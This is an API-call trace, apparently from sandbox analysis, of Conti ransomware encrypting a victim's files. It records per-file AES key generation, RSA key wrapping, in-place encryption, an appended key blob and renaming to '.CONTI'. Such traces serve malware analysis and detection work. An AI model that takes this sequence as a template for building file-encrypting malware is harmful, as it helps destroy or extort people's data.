	[0137.898] ReadFile (in: hFile=0x454, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0xcd2e, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0xcd2e, lpOverlapped=0x0) returned 1
	[0137.899] CryptEncrypt (in: hKey=0x6b7eb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0xcd2e, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0xcd30) returned 1
	[0137.899] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.899] WriteFile (in: hFile=0x454, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0xcd30, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0xcd30, lpOverlapped=0x0) returned 1
	[0137.899] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.899] WriteFile (in: hFile=0x454, lpBuffer=0x6b462d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b462d8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0137.899] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.899] CloseHandle (hObject=0x454) returned 1
	[0137.899] GetProcessHeap () returned 0x1720000
	[0137.899] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.899] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc") returned="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc"
	[0137.899] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc.CONTI"
	[0137.899] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\vbkw.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\vBKW.doc.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\vbkw.doc.conti")) returned 1
	[0137.900] GetProcessHeap () returned 0x1720000
	[0137.900] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.900] CryptDestroyKey (hKey=0x6b7eb78) returned 1
	[0137.900] GetProcessHeap () returned 0x1720000
	[0137.900] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173cfb8 | out: hHeap=0x1720000) returned 1
	[0137.900] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0137.900] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b469b8 | out: phKey=0x6b469b8*=0x6b7eb78) returned 1
	[0137.900] CryptExportKey (in: hKey=0x6b7eb78, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b469bc, pdwDataLen=0x3f7fc54 | out: pbData=0x6b469bc*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0137.901] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vxLQMZ5MrYd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\vxlqmz5mryd.wav")) returned 0x20
	[0137.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vxLQMZ5MrYd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\vxlqmz5mryd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0152.137] GetLastError () returned 0x0
	[0152.137] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=83482) returned 1
	[0152.137] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1461a
	[0152.137] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0152.137] SetEndOfFile (hFile=0x2ec) returned 1
	[0152.137] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0152.137] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0152.137] WriteFile (hFile=0x2ec, lpBuffer=0x6b469bc, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0) 

Thread:
	id = 155
	os_tid = 0xf98

	[0093.057] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xacc0000
	[0093.057] CryptAcquireContextA (in: phProv=0x40bfa4c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x40bfa4c*=0x17588c0) returned 1
	[0093.059] CryptImportKey (in: hProv=0x17588c0, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x40bfa48 | out: phKey=0x40bfa48*=0x173a550) returned 1
	[0093.060] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0093.782] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x175e4f0) returned 1
	[0093.782] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x40bfa14 | out: pbData=0x17d28dc*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0093.791] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80
	[0093.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.791] GetLastError () returned 0x0
	[0093.791] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=4040) returned 1
	[0093.791] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfc8
	[0093.791] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.791] SetEndOfFile (hFile=0x338) returned 1
	[0093.791] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.791] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.791] WriteFile (in: hFile=0x338, lpBuffer=0x17d28dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x17d28dc*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0093.793] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.793] ReadFile (in: hFile=0x338, lpBuffer=0xacc0000, nNumberOfBytesToRead=0xfc8, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0xfc8, lpOverlapped=0x0) returned 1
	[0093.793] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0xfc8, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0xfd0) returned 1
	[0093.794] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.794] WriteFile (in: hFile=0x338, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0xfd0, lpOverlapped=0x0) returned 1
	[0093.794] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.794] WriteFile (in: hFile=0x338, lpBuffer=0x17d28d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x17d28d0*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0093.794] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.794] CloseHandle (hObject=0x338) returned 1
	[0093.795] GetProcessHeap () returned 0x1720000
	[0093.795] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.795] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1045\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf"
	[0093.795] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1045\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf.CONTI"
	[0093.795] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.conti")) returned 1
	[0093.796] GetProcessHeap () returned 0x1720000
	[0093.796] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.796] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0093.796] GetProcessHeap () returned 0x1720000
	[0093.796] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d648 | out: hHeap=0x1720000) returned 1
	[0093.796] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0093.878] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x175e4f0) returned 1
	[0093.878] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x40bfa14 | out: pbData=0x17d41f4*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0093.878] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80
	[0093.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0093.879] GetLastError () returned 0x0
	[0093.879] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=3859) returned 1
	[0093.879] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf13
	[0093.879] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.879] SetEndOfFile (hFile=0x324) returned 1
	[0093.879] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.879] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.879] WriteFile (in: hFile=0x324, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0093.912] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.912] ReadFile (in: hFile=0x324, lpBuffer=0xacc0000, nNumberOfBytesToRead=0xf13, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0xf13, lpOverlapped=0x0) returned 1
	[0093.912] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0xf13, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0xf20) returned 1
	[0093.912] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.912] WriteFile (in: hFile=0x324, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0xf20, lpOverlapped=0x0) returned 1
	[0093.912] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.912] WriteFile (in: hFile=0x324, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0093.913] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.913] CloseHandle (hObject=0x324) returned 1
	[0093.913] GetProcessHeap () returned 0x1720000
	[0093.913] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0093.913] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\1055\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf"
	[0093.913] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1055\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf.CONTI"
	[0093.914] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.conti")) returned 1
	[0093.914] GetProcessHeap () returned 0x1720000
	[0093.914] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0093.914] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0093.914] GetProcessHeap () returned 0x1720000
	[0093.914] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d238 | out: hHeap=0x1720000) returned 1
	[0093.914] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0093.944] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x175e5f0) returned 1
	[0093.944] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x40bfa14 | out: pbData=0x17d3d64*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0093.944] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80
	[0093.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.953] GetLastError () returned 0x0
	[0093.953] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=6309) returned 1
	[0093.953] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18a5
	[0093.953] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.953] SetEndOfFile (hFile=0x34c) returned 1
	[0093.953] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.953] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.953] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0093.958] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.958] ReadFile (in: hFile=0x34c, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x18a5, lpOverlapped=0x0) returned 1
	[0093.962] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x18a5, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x18b0) returned 1
	[0093.962] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.962] WriteFile (in: hFile=0x34c, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x18b0, lpOverlapped=0x0) returned 1
	[0093.962] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.962] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0093.962] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.962] CloseHandle (hObject=0x34c) returned 1
	[0093.963] GetProcessHeap () returned 0x1720000
	[0093.963] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0093.963] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\3076\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf"
	[0093.963] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\3076\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf.CONTI"
	[0093.963] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.conti")) returned 1
	[0093.969] GetProcessHeap () returned 0x1720000
	[0093.969] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0093.970] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0093.970] GetProcessHeap () returned 0x1720000
	[0093.970] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d6e8 | out: hHeap=0x1720000) returned 1
	[0093.970] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0093.979] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x175e570) returned 1
	[0093.979] CryptExportKey (in: hKey=0x175e570, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x40bfa14 | out: pbData=0x17d28dc*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0093.980] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80
	[0093.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.985] GetLastError () returned 0x0
	[0093.985] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=16118) returned 1
	[0093.985] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3ef6
	[0093.985] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.985] SetEndOfFile (hFile=0x348) returned 1
	[0093.990] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.990] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.991] WriteFile (in: hFile=0x348, lpBuffer=0x17d28dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x17d28dc*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0094.013] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.013] ReadFile (in: hFile=0x348, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x3ef6, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x3ef6, lpOverlapped=0x0) returned 1
	[0094.022] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x3ef6, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x3f00) returned 1
	[0094.022] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.022] WriteFile (in: hFile=0x348, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x3f00, lpOverlapped=0x0) returned 1
	[0094.022] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.022] WriteFile (in: hFile=0x348, lpBuffer=0x17d28d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x17d28d0*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0094.022] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.022] CloseHandle (hObject=0x348) returned 1
	[0094.023] GetProcessHeap () returned 0x1720000
	[0094.023] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
